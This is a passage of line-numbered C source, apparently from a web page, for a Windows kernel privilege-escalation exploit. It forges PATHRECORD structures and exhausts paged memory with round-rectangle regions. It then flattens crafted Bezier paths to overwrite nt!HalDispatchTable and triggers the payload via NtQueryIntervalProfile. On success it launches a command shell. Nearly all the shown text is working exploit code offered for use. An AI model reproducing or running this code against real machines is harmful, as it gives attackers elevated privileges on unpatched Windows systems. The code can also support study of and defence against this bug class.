  651. PathRecord->prev = (PPATHRECORD)(0x42424242);
  652. LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
  653. LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
  654. LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
  655. // Now we need to create a PATHRECORD at an address that is also a valid
  656. // x86 instruction, because the pointer will be interpreted as a function.
  657. // I've created a list of candidates in DispatchRedirect.
  658. LogMessage(L_INFO, "Searching for an available stub address...");
  659. // I need to map at least two pages to guarantee the whole structure is
  660. // available.
  661. while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
  662. PAGE_SIZE * 2,
  663. MEM_COMMIT | MEM_RESERVE,
  664. PAGE_EXECUTE_READWRITE)) {
  665. LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
  666. *DispatchRedirect & ~(PAGE_SIZE - 1),
  667. GetLastError());
  668. // This page is not available, try the next candidate.
  669. if (!*++DispatchRedirect) {
  670. LogMessage(L_ERROR, "No redirect candidates left, sorry!");
  671. return 1;
  672. }
  673. }
  674. LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);
  675. // This PATHRECORD must terminate the list and recover.
  676. ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;
  677. ExploitRecordExit->next = NULL;
  678. ExploitRecordExit->prev = NULL;
  679. ExploitRecordExit->flags = PD_BEGINSUBPATH;
  680. ExploitRecordExit->count = 0;
  681. LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next);
  682. LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev);
  683. LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags);
  684. // This is the second stage PATHRECORD, which causes a fresh PATHRECORD
  685. // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
  686. // be copied over to the new record. Therefore, we get
  687. //
  688. // nt!HalDispatchTable[1] = &ExploitRecordExit.
  689. //
  690. // So we make &ExploitRecordExit a valid sequence of instuctions here.
  691. LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);
  692. ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;
  693. ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1];
  694. ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
  695. ExploitRecord.count = 4;
  696. LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next);
  697. LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev);
  698. LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags);
  699. LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
  700. // Generate a large number of Belier Curves made up of pointers to our
  701. // PATHRECORD object.
  702. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  703. Points[PointNum].x = (ULONG)(PathRecord) >> 4;
  704. Points[PointNum].y = (ULONG)(PathRecord) >> 4;
  705. PointTypes[PointNum] = PT_BEZIERTO;
  706. }
  707. // Switch to a dedicated desktop so we don't spam the visible desktop with
  708. // our Lines (Not required, just stops the screen from redrawing slowly).
  709. SetThreadDesktop(CreateDesktop("DontPanic",
  710. NULL,
  711. NULL,
  712. 0,
  713. GENERIC_ALL,
  714. NULL));
  715. // Get a handle to this Desktop.
  716. Device = GetDC(NULL);
  717. // Take ownership of Mutex
  718. WaitForSingleObject(Mutex, INFINITE);
  719. // Spawn a thread to cleanup
  720. Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
  721. LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");
  722. // We need to cause a specific AllocObject() to fail to trigger the
  723. // exploitable condition. To do this, I create a large number of rounded
  724. // rectangular regions until they start failing. I don't think it matters
  725. // what you use to exhaust paged memory, there is probably a better way.
  726. //
  727. // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  728. // failure. Seriously, do some damn QA Microsoft, wtf.
  729. for (Size = 1 << 26; Size; Size >>= 1) {
  730. while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
  731. NumRegion++;
  732. }
  733. LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
  734. LogMessage(L_INFO, "Flattening curves...");
  735. for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
  736. BeginPath(Device);
  737. PolyDraw(Device, Points, PointTypes, PointNum);
  738. EndPath(Device);
  739. FlattenPath(Device);
  740. FlattenPath(Device);
  741. // Test if exploitation succeeded.
  742. NtQueryIntervalProfile(ProfileTotalIssues, Interval);
  743. // Repair any damage.
  744. *Interval = SavedInterval;
  745. EndPath(Device);
  746. }
  747. if (Finished) {
  748. LogMessage(L_INFO, "Success, launching shell...", Finished);
  749. ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);
  750. LogMessage(L_INFO, "Press any key to exit...");
  751. getchar();
  752. ExitProcess(0);
  753. }
  754. // If we reach here, we didn't trigger the condition. Let the other thread know.
  755. ReleaseMutex(Mutex);
  756. WaitForSingleObject(Thread, INFINITE);
  757. ReleaseDC(NULL, Device);
  758. // Try again...
  759. LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
  760. LogMessage(L_INFO, "Press any key to exit...");
  761. getchar();
  762. ExitProcess(1);
  763. }
  764. // A quick logging routine for debug messages.
  765. BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
  766. {
  767. CHAR Buffer[1024] = {0};
  768. va_list Args;
  769. va_start(Args, Format);
  770. vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
  771. va_end(Args);
  772. switch (Level) {
  773. case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
  774. case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
  775. case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;
  776. case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
  777. }
  778. fflush(stdout);
  779. fflush(stderr);
  780. return TRUE;
  781. }

comments powered by Disqus